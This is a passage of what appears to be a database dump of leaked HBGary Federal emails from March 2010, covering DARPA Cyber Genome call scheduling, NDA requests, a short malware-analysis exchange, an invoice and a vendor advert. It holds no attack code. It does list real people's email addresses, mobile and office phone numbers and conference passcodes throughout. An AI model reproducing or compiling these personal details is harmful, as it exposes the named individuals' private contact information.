Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8772,'aaron_hbgary_com/8772.html'),(3444,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001701.M149104P3547Q3444.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','DCG (Darpa Cyber Genome) Technical Discussions (entire team)','\r\n\r\n\r\n\r\n\r\nDCG (Darpa Cyber Genome) Technical Discussions (entire team)\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, March 03, 2010 11:00 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDCG (Darpa Cyber Genome) Technical Discussions (entire team)\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n\r\n',14535,'aaron_hbgary_com/14535.html'),(3445,'2010-03-03','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001701.M463218P3547Q3445.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','NDA - Missing Information','\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n&nbsp;\r\nPlease add&nbsp;the missing information as described \r\nbelow, sign and return the NDA to me ASAP today.&nbsp; \r\nThanks!\r\nRegards,\r\n&nbsp;\r\nCindy Larson\r\n\r\n\r\nFrom: Larson, Cindy S. Sent: Tuesday, \r\nMarch 02, 2010 12:59 PMTo: \'Aaron Barr\'Subject: RE: Here \r\nis your completed Zosh document.Importance: High\r\n\r\nHi Aaron,\r\n&nbsp;\r\nPlease complete Item 6 on page 2, very important we know who at \r\ncan handle the PI exchanged between our companies.\r\n&nbsp;\r\nThanks,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Aaron Barr [mailto:adbarr@mac.com] \r\n  Sent: Monday, March 01, 2010 8:46 PMTo: Larson, Cindy \r\n  S.Subject: Fwd: Here is your completed Zosh \r\n  document.\r\n  Here you go. \r\n  \r\n  Aaron\r\n  \r\n  Begin forwarded message:\r\n  \r\n    From: \r\n    Zosh \r\n    Administrator &lt;noreply@zosh.com&gt;\r\n    Date: \r\n    March \r\n    1, 2010 10:43:38 PM EST\r\n    To: adbarr@mac.com\r\n    Subject: \r\n    Here \r\n    is your completed Zosh document.\r\n    \r\n    You just filled out and signed a document on your iPhone using Zosh! \r\n    &nbsp;Here it is all ready to go.\r\n    Zosh is a mobile application currently supporting the iPhone that let\'s \r\n    you fill out, sign and then send electronic documents on the go. \r\n    &nbsp;Mobile professionals use it to eliminate the annoying Print, Sign, \r\n    then Fax process that most of us are using today. &nbsp;With Zosh you can \r\n    eliminate those steps and get the ability to do it all on the go. &nbsp;Now \r\n    sign that important form while attending a meeting or waiting at the \r\n    airport.\r\n    To learn more about Zosh, please visit our website: www.zosh.com or view our product in the App \r\n    Store.\r\n',7831,'aaron_hbgary_com/7831.html'),(3446,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001701.M710089P3547Q3446.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 2 PM meeting dial-in?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I am no longer sure the 256-325-4671 number is working\r\nproperly.&nbsp; To be safe, and for the convenience of being toll-free, do you want me\r\nto send a 2 PM invite to everyone using our dial in number?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Wednesday, March 03, 2010 10:06 AM\r\nTo: Aaron Barr\r\nSubject: RE: 2 PM meeting dial-in?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe 256-325-4671 number does seem to be a teleconference number,\r\nso we will use that for 2 PM.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 03, 2010 9:58 AM\r\nTo: Starr, Christopher H.; Upchurch, Jason R.; Anita D\'Amico; Irby\r\nThompson; Adam Fraser; Ted Vera; Bob Slapnik\r\nSubject: Re: 2 PM meeting dial-in?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTelecon: 256.325.4671 &nbsp; &nbsp; &nbsp; &nbsp; 2214 Mt.\r\nVernon Ave.Suite 300 &nbsp;Alexandria &nbsp;VA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor some reason meeting notices weren\'t working.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:55 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot yet.&nbsp; Are you sending to my GDAIS address?&nbsp;&nbsp;Chris.Starr@gd-ais.com&nbsp;\r\n?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 03,\r\n2010 9:47 AM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;Re: 2 PM meeting\r\ndial-in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI resent. &nbsp;Did u get it?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:42 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo, the 2 PM meeting notice never got to me.&nbsp; Do you want\r\nto resend?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, March 03,\r\n2010 9:41 AM\r\nTo:&nbsp;Starr, Christopher H.\r\nSubject:&nbsp;Re: 2 PM meeting\r\ndial-in?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nabsolutely. &nbsp;Did u get the meeting notice?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nyou want to use our dial-in for the 2 PM meeting with Pikewerks as well?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n866-765-5631,\r\ncode 5057292#\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8201,'aaron_hbgary_com/8201.html'),(3447,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001701.M938508P3547Q3447.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: 2 PM meeting dial-in?','that would be great.Thanks,On Mar 3, 2010, at 10:29 AM, Starr, Christopher H. wrote:Aaron, I am no longer sure the 256-325-4671 number is working properly.&nbsp; To be safe, and for the convenience of being toll-free, do you want me to send a 2 PM invite to everyone using our dial in number?&nbsp;Chris&nbsp;&nbsp;From:&nbsp;Starr, Christopher H.&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 10:06 AMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: 2 PM meeting dial-in?&nbsp;The 256-325-4671 number does seem to be a teleconference number, so we will use that for 2 PM.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 9:58 AMTo:&nbsp;Starr, Christopher H.; Upchurch, Jason R.; Anita D\'Amico; Irby Thompson; Adam Fraser; Ted Vera; Bob SlapnikSubject:&nbsp;Re: 2 PM meeting dial-in?&nbsp;Telecon: 256.325.4671 &nbsp; &nbsp; &nbsp; &nbsp; 2214 Mt. Vernon Ave.Suite 300 &nbsp;Alexandria &nbsp;VA&nbsp;For some reason meeting notices weren\'t working.&nbsp;Aaron&nbsp;&nbsp;On Mar 3, 2010, at 9:55 AM, Starr, Christopher H. wrote:&nbsp;Not yet.&nbsp; Are you sending to my GDAIS address?&nbsp;&nbsp;Chris.Starr@gd-ais.com&nbsp; ?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 9:47 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: 2 PM meeting dial-in?&nbsp;I resent. &nbsp;Did u get it?&nbsp;On Mar 3, 2010, at 9:42 AM, Starr, Christopher H. wrote:No, the 2 PM meeting notice never got to me.&nbsp; Do you want to resend?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 03, 2010 9:41 AMTo:&nbsp;Starr, Christopher H.Subject:&nbsp;Re: 2 PM meeting dial-in?&nbsp;absolutely. &nbsp;Did u get the meeting notice?&nbsp;Aaron&nbsp;On Mar 3, 2010, at 9:39 AM, Starr, Christopher H. wrote:Aaron,&nbsp;Do you want to use our dial-in for the 2 PM meeting with Pikewerks as well?&nbsp;866-765-5631, code 5057292#&nbsp;&nbsp;Chris&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10326,'aaron_hbgary_com/10326.html'),(3448,'2010-03-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001702.M207004P3547Q3448.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: GD approach to normalizing data for analysis','Decompilation is overkill, but certainly powerful for making reverse engineering easier.  \r\nOn Wed, Mar 3, 2010 at 6:46 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI need your brief thoughts on this.  Not smart enough to argue it.  Seems to me this is over architected.  Why not take the code received on disk, run it in memory.  When tracing and inspecting memory snapshots it seems the deobfuscation, encryption, compiling issues are less relevant? \r\n \r\n',13295,'aaron_hbgary_com/13295.html'),(3449,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001702.M783293P3547Q3449.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,andrew.tappert@pikewerks.com','FW: DCG Tech #1 Very rough abstract','\r\n\r\n\r\n\r\n\r\nFW: DCG Tech #1 Very rough abstract\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Upchurch, Jason R.\r\nSubject: DCG Tech #1 Very rough abstract\r\n\r\n\r\n\r\nI have attached my general abstract for our idea (it is NOT &#8220;researchy&#8221; and very high level and NEEDS A LOT OF WORK), which can serve as a general outline to begin our writing assignments.&nbsp; It needs to be cleaned and reviewed (oh so very) soon.\r\n\r\nj\r\n\r\n &lt;&lt;DAPRA-ProblemMethodAbstract.doc&gt;&gt; \r\n\r\n\r\n\r\n\r\n',1181,'aaron_hbgary_com/1181.html'),(3450,'2010-03-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001703.M272938P3547Q3451.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Feb. PR invoice','Great -- thanks so much Ted. Best, Karen--- On Mon, 3/1/10, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Feb. PR invoiceTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, March 1, 2010, 9:32 PM\r\nHi Karen,\r\n\r\nInvoice 2 has been paid, you should receive a check within 7 days.\r\n\r\nRegards,\r\nTed\r\nOn Mon, Mar 1, 2010 at 4:04 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThanks Karen,\r\n\r\nI forwarded to Ted for processing.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 1:18 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I billed 3.5 hours for February; please see attached invoice. Please let me know if you have any questions and if you have any updates on the Threat Intelligence Consortium announcement. Best, Karen&nbsp;&lt;HBGary Federal Invoice #2.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n\r\n',1377,'aaron_hbgary_com/1377.html'),(3451,'2010-03-03','\"Courtney Augustine\" <caugustine@infoblox.com>','/aaron@hbgary.com/new/1297001703.M37301P3547Q3450.eml','aaron@hbgary.com','Infoblox and F5: DNSSEC Webinar - Compliance is Easier than You Think','\r\n\r\nInfoblox and F5: DNSSEC Webinar - Compliance is Easier than You Think\r\nBODY {\r\n	BACKGROUND-IMAGE: url(http://www.infoblox.com/events/images/infoblox_F5_bkg.jpg); BACKGROUND-COLOR: #5a6b7b; MARGIN-TOP: 0px; BACKGROUND-REPEAT: repeat-x; MARGIN-LEFT: 0px; MARGIN-RIGHT: 0px\r\n}\r\nA:link {\r\n	COLOR: #669900\r\n}\r\nA:visited {\r\n	COLOR: #669900\r\n}\r\nA:hover {\r\n	COLOR: #ff6600\r\n}\r\nA:active {\r\n	COLOR: #669900\r\n}\r\n\r\n\r\n\r\n\r\n\r\nIf you are having trouble reading this email, read the online version.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n \r\n\r\n\r\nIs your network ready for Infrastructure 2.0? \r\n            \r\n            Infoblox and Cisco: A live Streaming Event  --->This upcoming webinar, conducted by some of the world’s leading authorities on DNS security, will cover what is happening in the world of DNSSEC, including adoption trends, continuing challenges and a status update since the Kaminsky, Liu and Rose DNSSEC webinar held last year. Within minutes you’ll be brought up to speed on DNSSEC threats, critical challenges and what your team can do to become compliant. Thanks to F5 and Infoblox, it’s now easier than you think. \r\n\r\n\r\n\r\nDate: \r\n&nbsp;\r\nMarch 10, 2010, 8:00 AM Pacific Time \r\n\r\n\r\n\r\n\r\n\r\nSpeakers:\r\n&nbsp;\r\n• Dan Kaminsky, Director of Penetration Testing, IOActive• Scott Rose, Lead Investigator, NIST DNSSEC Deployment Project • Cricket Liu, VP of Architecture, Infoblox • Nathan Meyer, Product Manager, F5 Networks \r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n© 2010 Infoblox Inc. and F5 Networks. All rights reserved. All registered trademarks are property of their respective owners.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nYou are receiving this email because you have requested information from us in the past or have requested information from one of our trusted partners. If you would like to change your communications preferences or no longer receive mailings from Infoblox, please use the &nbsp;unsubscribe link , or write us at Infoblox, 4750 Patrick Henry Dr., Santa Clara, CA 95054 USA.\r\n\r\n',6806,'aaron_hbgary_com/6806.html'),(3452,'2010-03-03','\"Dawn Song\" <dawnsong@cs.berkeley.edu>','/aaron@hbgary.com/new/1297001703.M471801P3547Q3452.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: TA3','Aaron,\r\n  yes, I\'m interested in TA3. I\'ve been traveling, and also we\r\nnormally don\'t sign NDAs to avoid issues on publication restrictions.\r\nSo I\'ll need to look more into the NDA to see how we may be able to do\r\nthis. Thanks!\r\n\r\nOn Wed, Mar 3, 2010 at 6:34 AM, Aaron Barr  wrote:\r\n> Dawn,\r\n>\r\n> I want to make sure your interested in participating in TA3 and if so I would like to get in place an NDA as quickly as possible to get your approaches and work integrated.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\n\r\nthanks,\r\nDawn\r\n',10902,'aaron_hbgary_com/10902.html'),(3453,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001703.M681917P3547Q3453.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,andrew.tappert@pikewerks.com','UPDATE: TA3 Discussions DCG (Darpa Cyber Genome) Technical Area #3 Discussions (entire team)','\r\n\r\n\r\n\r\n\r\nUPDATE: TA3 Discussions DCG (Darpa Cyber Genome) Technical Area #3 Discussions (entire team)\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, March 03, 2010 2:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nUPDATE: \r\n\r\nTA3 Discussions DCG (Darpa Cyber Genome) Technical Area #3 Discussions (entire team)\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n(This replaces the previous 256 number: use the 866 number above for dial-in)\r\n\r\n\r\n\r\n\r\n',2023,'aaron_hbgary_com/2023.html'),(3454,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001703.M885709P3547Q3454.eml','\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>','Re: TA3','ok the reason for the NDA will be disclosure of HBGary proprietary technology to jumpstart our efforts.  We just want to make sure there are things that don\'t get published that are proprietary.\r\n\r\nAaron\r\n\r\nOn Mar 3, 2010, at 12:08 PM, Dawn Song wrote:\r\n\r\n> Aaron,\r\n>  yes, I\'m interested in TA3. I\'ve been traveling, and also we\r\n> normally don\'t sign NDAs to avoid issues on publication restrictions.\r\n> So I\'ll need to look more into the NDA to see how we may be able to do\r\n> this. Thanks!\r\n> \r\n> On Wed, Mar 3, 2010 at 6:34 AM, Aaron Barr  wrote:\r\n>> Dawn,\r\n>> \r\n>> I want to make sure your interested in participating in TA3 and if so I would like to get in place an NDA as quickly as possible to get your approaches and work integrated.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> \r\n> thanks,\r\n> Dawn\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4906,'aaron_hbgary_com/4906.html'),(3455,'2010-03-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001704.M307566P3547Q3456.eml','\"Aaron Barr\" <aaron@hbgary.com>','Greg is available all day today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPenny said Greg has nothing on his schedule today and is\r\nfree to work on the proposals.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; 